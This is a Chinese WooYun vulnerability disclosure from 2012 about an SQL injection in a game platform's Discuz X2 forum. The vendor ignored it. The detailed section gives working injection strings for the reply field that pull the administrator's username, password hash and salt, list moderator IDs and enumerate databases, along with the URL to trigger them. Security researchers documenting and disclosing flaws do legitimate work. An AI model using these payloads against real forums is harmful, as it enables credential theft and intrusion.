当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015168

漏洞标题:胜思网络uyoho游戏平台官方论坛SQL注入漏洞

相关厂商:胜思网络

漏洞作者: her0ma

提交时间:2012-11-23 16:48

修复时间:2012-11-28 16:49

公开时间:2012-11-28 16:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-23: 细节已通知厂商并且等待厂商处理中
2012-11-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

胜思网络uyoho游戏平台论坛(http://bbs.uyoho.com)使用discuz x2整站系统,存在注入漏洞,未修复.

详细说明:

在发表回复的地方输入注入语句:
a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment='
然后补充回复,补充回复地址需要自己构造:
forum.php?mod=misc&tid=写ID&action=postappend&pid=写ID
查看管理用户帐号密码
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=1),comment='
超级版主
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=2),comment='
获取所有库
',`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment='
等等……

漏洞证明:

1.jpg

修复方案:

升级论坛到discuz x 2.5

版权声明:转载请注明来源 her0ma@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-11-28 16:49

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2012-11-23 17:55 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    太明显了。。

  2. 2012-11-24 10:33 | 明. ( 路人 | Rank:8 漏洞数:7 | ส็็็็็็็็็็็็็็็็็็็...)

    dz x2的洞么

  3. 2012-11-29 19:40 | her0ma ( 核心白帽子 | Rank:598 漏洞数:84 | 专注小厂商三十年!)

    @明. 嗯 是的